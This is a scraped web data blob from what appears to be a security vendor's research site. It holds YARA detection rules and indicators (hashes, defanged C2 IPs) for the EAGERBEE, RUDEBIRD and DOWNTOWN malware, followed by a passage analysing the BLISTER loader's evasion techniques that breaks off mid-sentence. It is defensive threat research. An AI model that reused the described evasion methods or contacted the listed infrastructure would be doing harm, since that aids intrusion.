capabilities\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_EagerBee.yar\",rel:\"nofollow\",children:\"EAGERBEE\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_RudeBird.yar\",rel:\"nofollow\",children:\"RUDEBIRD\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_DownTown.yar\",rel:\"nofollow\",children:\"DOWNTOWN\"})}),`\n`]}),`\n`,(0,i.jsx)(e.h2,{id:\"yara\",children:\"YARA\"}),`\n`,(0,i.jsx)(e.p,{children:\"Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the EAGERBEE, RUDEBIRD, and DOWNTOWN malware:\"}),`\n`,(0,i.jsx)(e.h3,{id:\"eagerbee-1\",children:\"EAGERBEE\"}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`rule Windows_Trojan_EagerBee_1 {\n meta:\n author = \"Elastic Security\"\n creation_date = \"2023-05-09\"\n last_modified = \"2023-06-13\"\n threat_name = \"Windows.Trojan.EagerBee\"\n reference_sample = \"09005775fc587ac7bf150c05352e59dc01008b7bf8c1d870d1cea87561aa0b06\"\n license = \"Elastic License v2\"\n os = \"windows\"\n\n strings:\n $a1 = { C2 EB D6 0F B7 C2 48 8D 0C 80 41 8B 44 CB 14 41 2B 44 CB 0C 41 }\n $a2 = { C8 75 04 33 C0 EB 7C 48 63 41 3C 8B 94 08 88 00 00 00 48 03 D1 8B }\n\n condition:\n all of them\n}\n\nrule Windows_Trojan_EagerBee_2 {\n meta:\n author = \"Elastic Security\"\n creation_date = \"2023-09-04\"\n last_modified = \"2023-09-20\"\n threat_name = \"Windows.Trojan.EagerBee\"\n reference_sample = \"339e4fdbccb65b0b06a1421c719300a8da844789a2016d58e8ce4227cb5dc91b\"\n license = \"Elastic License v2\"\n os = \"windows\"\n\n strings:\n $dexor_config_file = { 48 FF C0 8D 51 FF 44 30 00 49 03 C4 49 2B D4 ?? ?? 48 8D 4F 01 48 }\n $parse_config = { 80 7C 14 20 3A ?? ?? ?? ?? ?? ?? 45 03 C4 49 03 D4 49 63 C0 48 3B C1 }\n $parse_proxy1 = { 44 88 7C 24 31 44 88 7C 24 32 48 F7 D1 C6 44 24 33 70 C6 44 24 34 3D 88 5C 24 35 48 83 F9 01 }\n $parse_proxy2 = { 33 C0 48 8D BC 24 F0 00 00 00 49 8B CE F2 AE 8B D3 48 F7 D1 48 83 E9 01 48 8B F9 }\n\n condition:\n 2 of them\n}\n`})}),`\n`,(0,i.jsx)(e.h3,{id:\"rudebird-1\",children:\"RUDEBIRD\"}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`rule Windows_Trojan_RudeBird {\n meta:\n author = \"Elastic Security\"\n creation_date = \"2023-05-09\"\n last_modified = \"2023-06-13\"\n threat_name = \"Windows.Trojan.RudeBird\"\n license = \"Elastic License v2\"\n os = \"windows\"\n\n strings:\n $a1 = { 40 53 48 83 EC 20 48 8B D9 B9 D8 00 00 00 E8 FD C1 FF FF 48 8B C8 33 C0 48 85 C9 74 05 E8 3A F2 }\n\n condition:\n all of them\n}\n`})}),`\n`,(0,i.jsx)(e.h3,{id:\"downtown\",children:\"DOWNTOWN\"}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`rule Windows_Trojan_DownTown_1 {\n meta:\n author = \"Elastic Security\"\n creation_date = \"2023-05-10\"\n last_modified = \"2023-06-13\"\n threat_name = \"Windows.Trojan.DownTown\"\n license = \"Elastic License v2\"\n os = \"windows\"\n\n strings:\n $a1 = \"SendFileBuffer error -1 !!!\" fullword\n $a2 = \"ScheduledDownloadTasks CODE_FILE_VIEW \" fullword\n $a3 = \"ExplorerManagerC.dll\" fullword\n\n condition:\n 3 of them\n}\n\nrule Windows_Trojan_DownTown_2 {\n meta:\n author = \"Elastic Security\"\n creation_date = \"2023-08-23\"\n last_modified = \"2023-09-20\"\n threat_name = \"Windows.Trojan.DownTown\"\n license = \"Elastic License v2\"\n os = \"windows\"\n\n strings:\n $a1 = \"DeletePluginObject\"\n $a2 = \"GetPluginInfomation\"\n $a3 = \"GetPluginObject\"\n $a4 = \"GetRegisterCode\"\n\n condition:\n all of them\n}\n`})}),`\n`,(0,i.jsx)(e.h2,{id:\"observations\",children:\"Observations\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"All observables are also available for \",(0,i.jsx)(e.a,{href:\"https://github.com/elastic/labs-releases/tree/main/indicators/ref5961\",rel:\"nofollow\",children:\"download\"}),\" in both ECS and STIX format.\"]}),`\n`,(0,i.jsx)(e.p,{children:\"The following observables were discussed in this research.\"}),`\n`,(0,i.jsx)(e.div,{className:\"table-container\",children:(0,i.jsxs)(e.table,{children:[(0,i.jsx)(e.thead,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.th,{children:\"Observable\"}),(0,i.jsx)(e.th,{children:\"Type\"}),(0,i.jsx)(e.th,{children:\"Name\"}),(0,i.jsx)(e.th,{children:\"Reference\"})]})}),(0,i.jsxs)(e.tbody,{children:[(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:(0,i.jsx)(e.code,{children:\"ce4dfda471f2d3fa4e000f9e3839c3d9fbf2d93ea7f89101161ce97faceadf9a\"})}),(0,i.jsx)(e.td,{children:\"SHA-256\"}),(0,i.jsx)(e.td,{children:\"EAGERBEE shellcode\"}),(0,i.jsx)(e.td,{children:\"iconcaches.mui\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:(0,i.jsx)(e.code,{children:\"29c90ac124b898b2ff2a4897921d5f5cc251396e8176fc8d6fa475df89d9274d\"})}),(0,i.jsx)(e.td,{children:\"SHA-256\"}),(0,i.jsx)(e.td,{children:\"DOWNTOWN\"}),(0,i.jsx)(e.td,{children:\"In-memory DLL\"})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:(0,i.jsx)(e.code,{children:\"185.82.217[.]164\"})}),(0,i.jsx)(e.td,{children:\"ipv4\"}),(0,i.jsx)(e.td,{children:\"EAGERBEE C2\"}),(0,i.jsx)(e.td,{})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:(0,i.jsx)(e.code,{children:\"195.123.245[.]79\"})}),(0,i.jsx)(e.td,{children:\"ipv4\"}),(0,i.jsx)(e.td,{children:\"EAGERBEE C2\"}),(0,i.jsx)(e.td,{})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:(0,i.jsx)(e.code,{children:\"45.90.58[.]103\"})}),(0,i.jsx)(e.td,{children:\"ipv4\"}),(0,i.jsx)(e.td,{children:\"RUDEBIRD C2\"}),(0,i.jsx)(e.td,{})]}),(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{children:(0,i.jsx)(e.code,{children:\"185.195.237[.]123\"})}),(0,i.jsx)(e.td,{children:\"ipv4\"}),(0,i.jsx)(e.td,{children:\"RUDEBIRD C2\"}),(0,i.jsx)(e.td,{})]})]})]})}),`\n`,(0,i.jsx)(e.h2,{id:\"references\",children:\"References\"}),`\n`,(0,i.jsx)(e.p,{children:\"The following were referenced throughout the above research:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry\",rel:\"nofollow\",children:\"https://www.elastic.co/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/update-to-the-REF2924-intrusion-set-and-related-campaigns\",rel:\"nofollow\",children:\"https://www.elastic.co/security-labs/update-to-the-REF2924-intrusion-set-and-related-campaigns\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://thediplomat.com/2022/06/mongolias-1-billion-tree-movement/\",rel:\"nofollow\",children:\"https://thediplomat.com/2022/06/mongolias-1-billion-tree-movement/\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia/\",rel:\"nofollow\",children:\"https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia/\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://github.com/OALabs/hashdb/blob/main/algorithms/mult21_add.py\",rel:\"nofollow\",children:\"https://github.com/OALabs/hashdb/blob/main/algorithms/mult21_add.py\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://malpedia.caad.fkie.fraunhofer.de/details/win.smanager\",rel:\"nofollow\",children:\"https://malpedia.caad.fkie.fraunhofer.de/details/win.smanager\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://malpedia.caad.fkie.fraunhofer.de/actor/ta428\",rel:\"nofollow\",children:\"https://malpedia.caad.fkie.fraunhofer.de/actor/ta428\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://www.welivesecurity.com/2020/12/17/operation-signsight-supply-chain-attack-southeast-asia/\",rel:\"nofollow\",children:\"https://www.welivesecurity.com/2020/12/17/operation-signsight-supply-chain-attack-southeast-asia/\"})}),`\n`]})]})}function v(n={}){let{wrapper:e}=n.components||{};return e?(0,i.jsx)(e,Object.assign({},n,{children:(0,i.jsx)(c,n)})):c(n)}var T=v;return y(D);})();\n;return Component;"},"_id":"articles/introducing-the-ref5961-intrusion-set.mdx","_raw":{"sourceFilePath":"articles/introducing-the-ref5961-intrusion-set.mdx","sourceFileName":"introducing-the-ref5961-intrusion-set.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/introducing-the-ref5961-intrusion-set"},"type":"Article","imageUrl":"/assets/images/introducing-the-ref5961-intrusion-set/photo-edited-08@2x.jpg","readingTime":"26 min read","series":"","url":"/introducing-the-ref5961-intrusion-set","headings":[{"level":2,"title":"Preamble","href":"#preamble"},{"level":2,"title":"Key takeaways","href":"#key-takeaways"},{"level":2,"title":"EAGERBEE","href":"#eagerbee"},{"level":3,"title":"Code analysis","href":"#code-analysis"},{"level":3,"title":"EAGERBEE connection to a Mongolian campaign","href":"#eagerbee-connection-to-a-mongolian-campaign"},{"level":3,"title":"EAGERBEE Summary","href":"#eagerbee-summary"},{"level":2,"title":"RUDEBIRD","href":"#rudebird"},{"level":3,"title":"Initial execution","href":"#initial-execution"},{"level":3,"title":"Lateral movement","href":"#lateral-movement"},{"level":3,"title":"Code analysis","href":"#code-analysis-1"},{"level":2,"title":"DOWNTOWN (SManager/PhantomNet)","href":"#downtown-smanagerphantomnet"},{"level":3,"title":"Code analysis","href":"#code-analysis-2"},{"level":3,"title":"DOWNTOWN Summary","href":"#downtown-summary"},{"level":2,"title":"Network infrastructure intersection","href":"#network-infrastructure-intersection"},{"level":3,"title":"Shared network infrastructure","href":"#shared-network-infrastructure"},{"level":3,"title":"Domain analysis","href":"#domain-analysis"},{"level":3,"title":"Defense evasion","href":"#defense-evasion"},{"level":3,"title":"Network intersection summary","href":"#network-intersection-summary"},{"level":2,"title":"Summary","href":"#summary"},{"level":2,"title":"REF5961 and MITRE ATT\u0026CK","href":"#ref5961-and-mitre-attck"},{"level":3,"title":"Tactics","href":"#tactics"},{"level":3,"title":"Techniques","href":"#techniques"},{"level":2,"title":"Malware prevention capabilities","href":"#malware-prevention-capabilities"},{"level":2,"title":"YARA","href":"#yara"},{"level":3,"title":"EAGERBEE","href":"#eagerbee-1"},{"level":3,"title":"RUDEBIRD","href":"#rudebird-1"},{"level":3,"title":"DOWNTOWN","href":"#downtown"},{"level":2,"title":"Observations","href":"#observations"},{"level":2,"title":"References","href":"#references"}],"author":[{"title":"Daniel Stepanic","slug":"daniel-stepanic","description":"Elastic Security Labs Team Principal Security Researcher, Malware","body":{"raw":"","code":"var Component=(()=\u003e{var m=Object.create;var i=Object.defineProperty;var p=Object.getOwnPropertyDescriptor;var x=Object.getOwnPropertyNames;var d=Object.getPrototypeOf,f=Object.prototype.hasOwnProperty;var _=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),g=(t,e)=\u003e{for(var n in e)i(t,n,{get:e[n],enumerable:!0})},s=(t,e,n,c)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of x(e))!f.call(t,a)\u0026\u0026a!==n\u0026\u0026i(t,a,{get:()=\u003ee[a],enumerable:!(c=p(e,a))||c.enumerable});return t};var j=(t,e,n)=\u003e(n=t!=null?m(d(t)):{},s(e||!t||!t.__esModule?i(n,\"default\",{value:t,enumerable:!0}):n,t)),M=t=\u003es(i({},\"__esModule\",{value:!0}),t);var u=_((w,o)=\u003e{o.exports=_jsx_runtime});var b={};g(b,{default:()=\u003eS,frontmatter:()=\u003ey});var r=j(u()),y={title:\"Daniel Stepanic\",description:\"Elastic Security Labs Team Principal Security Researcher, Malware\",slug:\"daniel-stepanic\"};function l(t){return(0,r.jsx)(r.Fragment,{})}function D(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(l,t)})):l(t)}var S=D;return M(b);})();\n;return Component;"},"_id":"authors/daniel-stepanic.mdx","_raw":{"sourceFilePath":"authors/daniel-stepanic.mdx","sourceFileName":"daniel-stepanic.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/daniel-stepanic"},"type":"Author","imageUrl":"","url":"/authors/daniel-stepanic"},{"title":"Salim Bitam","slug":"salim-bitam","description":"Elastic Security Labs Team Research Engineer II, Malware","body":{"raw":"","code":"var Component=(()=\u003e{var l=Object.create;var i=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,_=Object.prototype.hasOwnProperty;var d=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),j=(t,e)=\u003e{for(var n in e)i(t,n,{get:e[n],enumerable:!0})},o=(t,e,n,s)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of f(e))!_.call(t,a)\u0026\u0026a!==n\u0026\u0026i(t,a,{get:()=\u003ee[a],enumerable:!(s=x(e,a))||s.enumerable});return t};var p=(t,e,n)=\u003e(n=t!=null?l(g(t)):{},o(e||!t||!t.__esModule?i(n,\"default\",{value:t,enumerable:!0}):n,t)),M=t=\u003eo(i({},\"__esModule\",{value:!0}),t);var m=d((D,c)=\u003e{c.exports=_jsx_runtime});var y={};j(y,{default:()=\u003ew,frontmatter:()=\u003eb});var r=p(m()),b={title:\"Salim Bitam\",description:\"Elastic Security Labs Team Research Engineer II, Malware\",slug:\"salim-bitam\"};function u(t){return(0,r.jsx)(r.Fragment,{})}function h(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(u,t)})):u(t)}var w=h;return M(y);})();\n;return Component;"},"_id":"authors/salim-bitam.mdx","_raw":{"sourceFilePath":"authors/salim-bitam.mdx","sourceFileName":"salim-bitam.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/salim-bitam"},"type":"Author","imageUrl":"","url":"/authors/salim-bitam"},{"title":"Cyril François","slug":"cyril-francois","description":"Elastic Security Labs Team Senior Research Engineer, Malware","body":{"raw":"","code":"var Component=(()=\u003e{var m=Object.create;var i=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,_=Object.prototype.hasOwnProperty;var d=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),j=(t,e)=\u003e{for(var n in e)i(t,n,{get:e[n],enumerable:!0})},s=(t,e,n,o)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of f(e))!_.call(t,a)\u0026\u0026a!==n\u0026\u0026i(t,a,{get:()=\u003ee[a],enumerable:!(o=x(e,a))||o.enumerable});return t};var p=(t,e,n)=\u003e(n=t!=null?m(g(t)):{},s(e||!t||!t.__esModule?i(n,\"default\",{value:t,enumerable:!0}):n,t)),y=t=\u003es(i({},\"__esModule\",{value:!0}),t);var u=d((w,c)=\u003e{c.exports=_jsx_runtime});var b={};j(b,{default:()=\u003eF,frontmatter:()=\u003eM});var r=p(u()),M={title:\"Cyril Fran\\xE7ois\",description:\"Elastic Security Labs Team Senior Research Engineer, Malware\",slug:\"cyril-francois\"};function l(t){return(0,r.jsx)(r.Fragment,{})}function C(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(l,t)})):l(t)}var F=C;return y(b);})();\n;return Component;"},"_id":"authors/cyril-francois.mdx","_raw":{"sourceFilePath":"authors/cyril-francois.mdx","sourceFileName":"cyril-francois.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/cyril-francois"},"type":"Author","imageUrl":"","url":"/authors/cyril-francois"},{"title":"Seth Goodwin","slug":"seth-goodwin","description":"Elastic Security Labs Team Senior Research Engineer, Intelligence","body":{"raw":"","code":"var Component=(()=\u003e{var g=Object.create;var i=Object.defineProperty;var l=Object.getOwnPropertyDescriptor;var x=Object.getOwnPropertyNames;var d=Object.getPrototypeOf,f=Object.prototype.hasOwnProperty;var _=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),h=(t,e)=\u003e{for(var n in e)i(t,n,{get:e[n],enumerable:!0})},a=(t,e,n,s)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of x(e))!f.call(t,o)\u0026\u0026o!==n\u0026\u0026i(t,o,{get:()=\u003ee[o],enumerable:!(s=l(e,o))||s.enumerable});return t};var j=(t,e,n)=\u003e(n=t!=null?g(d(t)):{},a(e||!t||!t.__esModule?i(n,\"default\",{value:t,enumerable:!0}):n,t)),p=t=\u003ea(i({},\"__esModule\",{value:!0}),t);var u=_((C,c)=\u003e{c.exports=_jsx_runtime});var b={};h(b,{default:()=\u003eS,frontmatter:()=\u003ew});var r=j(u()),w={title:\"Seth Goodwin\",description:\"Elastic Security Labs Team Senior Research Engineer, Intelligence\",slug:\"seth-goodwin\"};function m(t){return(0,r.jsx)(r.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(m,t)})):m(t)}var S=M;return p(b);})();\n;return Component;"},"_id":"authors/seth-goodwin.mdx","_raw":{"sourceFilePath":"authors/seth-goodwin.mdx","sourceFileName":"seth-goodwin.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/seth-goodwin"},"type":"Author","imageUrl":"","url":"/authors/seth-goodwin"},{"title":"Andrew Pease","slug":"andrew-pease","description":"Elastic Security Labs Technical Lead","image":"andrew-pease.jpg","body":{"raw":"","code":"var Component=(()=\u003e{var m=Object.create;var s=Object.defineProperty;var p=Object.getOwnPropertyDescriptor;var x=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,l=Object.prototype.hasOwnProperty;var f=(e,t)=\u003e()=\u003e(t||e((t={exports:{}}).exports,t),t.exports),j=(e,t)=\u003e{for(var n in t)s(e,n,{get:t[n],enumerable:!0})},c=(e,t,n,o)=\u003e{if(t\u0026\u0026typeof t==\"object\"||typeof t==\"function\")for(let a of x(t))!l.call(e,a)\u0026\u0026a!==n\u0026\u0026s(e,a,{get:()=\u003et[a],enumerable:!(o=p(t,a))||o.enumerable});return e};var _=(e,t,n)=\u003e(n=e!=null?m(g(e)):{},c(t||!e||!e.__esModule?s(n,\"default\",{value:e,enumerable:!0}):n,e)),w=e=\u003ec(s({},\"__esModule\",{value:!0}),e);var u=f((C,i)=\u003e{i.exports=_jsx_runtime});var h={};j(h,{default:()=\u003eb,frontmatter:()=\u003eL});var r=_(u()),L={title:\"Andrew Pease\",description:\"Elastic Security Labs Technical Lead\",slug:\"andrew-pease\",image:\"andrew-pease.jpg\"};function d(e){return(0,r.jsx)(r.Fragment,{})}function M(e={}){let{wrapper:t}=e.components||{};return t?(0,r.jsx)(t,Object.assign({},e,{children:(0,r.jsx)(d,e)})):d(e)}var b=M;return w(h);})();\n;return Component;"},"_id":"authors/andrew-pease.mdx","_raw":{"sourceFilePath":"authors/andrew-pease.mdx","sourceFileName":"andrew-pease.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/andrew-pease"},"type":"Author","imageUrl":"/assets/images/authors/andrew-pease.jpg","url":"/authors/andrew-pease"}],"category":[{"title":"Security research","slug":"security-research","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var f=Object.getOwnPropertyDescriptor;var _=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,j=Object.prototype.hasOwnProperty;var l=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),d=(t,e)=\u003e{for(var r in e)s(t,r,{get:e[r],enumerable:!0})},c=(t,e,r,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of _(e))!j.call(t,o)\u0026\u0026o!==r\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=f(e,o))||a.enumerable});return t};var h=(t,e,r)=\u003e(r=t!=null?x(g(t)):{},c(e||!t||!t.__esModule?s(r,\"default\",{value:t,enumerable:!0}):r,t)),p=t=\u003ec(s({},\"__esModule\",{value:!0}),t);var i=l((X,u)=\u003e{u.exports=_jsx_runtime});var D={};d(D,{default:()=\u003eC,frontmatter:()=\u003ey});var n=h(i()),y={title:\"Security research\",slug:\"security-research\"};function m(t){return(0,n.jsx)(n.Fragment,{})}function M(t={}){let{wrapper:e}=t.components||{};return e?(0,n.jsx)(e,Object.assign({},t,{children:(0,n.jsx)(m,t)})):m(t)}var C=M;return p(D);})();\n;return Component;"},"_id":"categories/security-research.mdx","_raw":{"sourceFilePath":"categories/security-research.mdx","sourceFileName":"security-research.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/security-research"},"type":"Category","url":"/categories/security-research"},{"title":"Malware analysis","slug":"malware-analysis","body":{"raw":"","code":"var Component=(()=\u003e{var u=Object.create;var s=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var _=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var j=(t,n)=\u003e()=\u003e(n||t((n={exports:{}}).exports,n),n.exports),M=(t,n)=\u003e{for(var e in n)s(t,e,{get:n[e],enumerable:!0})},i=(t,n,e,o)=\u003e{if(n\u0026\u0026typeof n==\"object\"||typeof n==\"function\")for(let r of f(n))!g.call(t,r)\u0026\u0026r!==e\u0026\u0026s(t,r,{get:()=\u003en[r],enumerable:!(o=x(n,r))||o.enumerable});return t};var d=(t,n,e)=\u003e(e=t!=null?u(_(t)):{},i(n||!t||!t.__esModule?s(e,\"default\",{value:t,enumerable:!0}):e,t)),p=t=\u003ei(s({},\"__esModule\",{value:!0}),t);var l=j((X,c)=\u003e{c.exports=_jsx_runtime});var D={};M(D,{default:()=\u003eC,frontmatter:()=\u003ew});var a=d(l()),w={title:\"Malware analysis\",slug:\"malware-analysis\"};function m(t){return(0,a.jsx)(a.Fragment,{})}function y(t={}){let{wrapper:n}=t.components||{};return n?(0,a.jsx)(n,Object.assign({},t,{children:(0,a.jsx)(m,t)})):m(t)}var C=y;return p(D);})();\n;return Component;"},"_id":"categories/malware-analysis.mdx","_raw":{"sourceFilePath":"categories/malware-analysis.mdx","sourceFileName":"malware-analysis.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/malware-analysis"},"type":"Category","url":"/categories/malware-analysis"}]},{"title":"Revisiting BLISTER: New development of the BLISTER loader","slug":"revisiting-blister-new-developments-of-the-blister-loader","date":"2023-08-24","description":"Elastic Security Labs dives deep into the recent evolution of the BLISTER loader malware family.","image":"cracked-lava.jpg","tags":["blister","malware","ref7890"],"body":{"raw":"\n## Preamble\n\nIn a fast-paced and ever-changing world of cybercrime threats, the tenacity and adaptability of malicious actors is a significant concern. BLISTER, a malware loader initially [discovered](https://www.elastic.co/security-labs/elastic-security-uncovers-blister-malware-campaign) by Elastic Security Labs in 2021 and associated with financially-motivated intrusions, is a testament to this trend as it continues to develop additional capabilities. Two years after its initial discovery, BLISTER continues to receive updates while flying under the radar, gaining momentum as an emerging threat. Recent findings from Palo Alto’s [Unit 42](https://twitter.com/Unit42_Intel/status/1684583246032506880) describe an updated [SOCGHOLISH](https://redcanary.com/threat-detection-report/threats/socgholish/) infection chain used to distribute BLISTER and deploy a payload from [MYTHIC](https://github.com/its-a-feature/Mythic), an open-source Command and Control (C2) framework.\n\n## Key takeaways\n\n - Elastic Security Labs has been monitoring malware loader BLISTER ramping up with new changes, and ongoing development with signs of imminent threat activity\n - New BLISTER update includes keying feature that allows for precise targeting of victim networks and lowers exposure within VM/sandbox environments\n - BLISTER now integrates techniques to remove any process instrumentation hook and has modified its configuration with multiple revisions, now encompassing additional fields and flags.\n\n## Overview\n\nOur research uncovered new functionality that was previously absent within the BLISTER family, indicating ongoing development. However, the malware authors continue to use a distinctive technique of embedding malicious code in otherwise legitimate applications. This approach superficially appears successful, given the low rates of detection for many vendors as seen in VirusTotal. The significant amount of benign code and use of encryption to protect the malicious code are likely two factors impacting detection.\n\n![Example of BLISTER detection rates on initial upload\n](/assets/images/revisiting-blister-new-developments-of-the-blister-loader/image11.png)\n\nRecently, Elastic Security Labs has observed many new BLISTER loaders in the wild. After analyzing various samples, it’s clear that the malware authors have made some changes and have been watching the antivirus industry closely. In one [sample](https://www.virustotal.com/gui/file/b4f37f13a7e9c56ea95fa3792e11404eb3bdb878734f1ca394ceed344d22858f) from early June, we can infer that the authors were testing with a non-production loader that displays a Message Box displaying the strings “Test”.\n\n![BLISTER payload with Message Box test](/assets/images/revisiting-blister-new-developments-of-the-blister-loader/image2.png)\n\nReaders can see a disassembled view of this functionality below.\n\n![BLISTER testing payloads with Message Box\n](/assets/images/revisiting-blister-new-developments-of-the-blister-loader/image4.jpg)\n\nBy the end of July, we observed campaigns involving a new BLISTER loader that targeted victim organizations to deploy the MYTHIC implant.\n\n![MYTHIC running inside injected WerFault process\n](/assets/images/revisiting-blister-new-developments-of-the-blister-loader/image6.jpg)\n\nAt the time of this writing, Elastic Security Labs is seeing a stream of BLISTER samples which deploy MYTHIC and have very low rates of detection. \n\n![Wave of BLISTER samples in August 2023](/assets/images/revisiting-blister-new-developments-of-the-blister-loader/image1.png)\n\n## Comparative analyses\n\n### Smuggling malicious code\n\nThe authors behind BLISTER employ a consistent strategy of embedding BLISTER's malicious code within a legitimate library. The most recent variants of this loader have targeted the [VLC](https://www.videolan.org/vlc/) Media Player library to smuggle their malware into victim environments. This blend of benign and malicious code seems effective at defeating some kinds of machine-learning models.\n\n![Meta data of BLISTER sample](/assets/images/revisiting-blister-new-developments-of-the-blister-loader/image10.png)\n\nThe following is a comparison between a legitimate VLC DLL and one that is infected with BLISTER’s code. In the infected sample, the entry point that references malicious code has been indicated in red. This methodology is similar to prior BLISTER variants.\n\n![Comparison between original and patched VLC library](/assets/images/revisiting-blister-new-developments-of-the-blister-loader/image8.png)\n\n### Different hashing algorithm\n\nOne of the changes implemented since our last [write-up](https://www.elastic.co/security-labs/blister-loader) is the adoption of a different hashing algorithm used in the core and in the loader part of BLISTER. While the previous version used simple logic to shift bytes, this new version includes a hard-coded seed with XOR and multiplication operations. Researchers speculate that changing the hashing approach helps to evade antimalware products that rely on YARA signatures.\n\n![Disassembled hashing algorithm](/assets/images/revisiting-blister-new-developments-of-the-blister-loader/image13.png)\n\n### Configuration retrieval\n\nFollowing the decryption of malicious code by the BLISTER’d loader, it employs an identical memory scanning method to identify the configuration data blob. This is accomplished by searching for a predetermined, hardcoded memory pattern. A notable contrast from the earlier iteration of BLISTER lies in the fact that the configuration is now decrypted in conjunction with the core code, rather than being treated as a separate entity.\n\n### Environmental keying\n\nA recent addition to BLISTER is the capability to exclusively execute on designated machines. This behavior is activated by configuring the appropriate flag within the malware’s configuration. Subsequently, the malware proceeds to extract the machine's domain name using the `GetComputerNameExW` Windows API. Following this, the domain name is hashed using the previously mentioned algorithm, and the resulting hash is then compared to a hash present in the configuration. This functionality is presumably deployed for the purpose of targeted attacks or for testing scenarios, ensuring that the malware refrains from infecting unintended systems such as those employed by malware researchers.\n\n![Environmental keying feature](/assets/images/revisiting-blister-new-developments-of-the-blister-loader/image12.png)\n\nOne of the few malware analysis tools capable of quickly exposing this behavior is the awesome [Tiny Tracer](https://github.com/hasherezade/tiny_tracer) utility by [hasherezade](https://twitter.com/hasherezade). We’ve included an excerpt from Tiny_Tracer below which captures the BLISTER process immediately terminating after the `GetComputerNameExW` validation is performed in a sandboxed analysis VM.\n\n![TinyTracer logs](/assets/images/revisiting-blister-new-developments-of-the-blister-loader/image15.png)\n\n### Time-based anti-debugging feature\n\nSimilar to its predecessors, the malware incorporates a time-based anti-debugging functionality. However, unlike the previous versions in which the timer was hardcoded, the updated version introduces a new field in the configuration. This field enables the customization of the sleep timer, with a default value of 10 minutes. This default interval remains unchanged from prior iterations of BLISTER.\n\n![Time-Based Anti-Debug 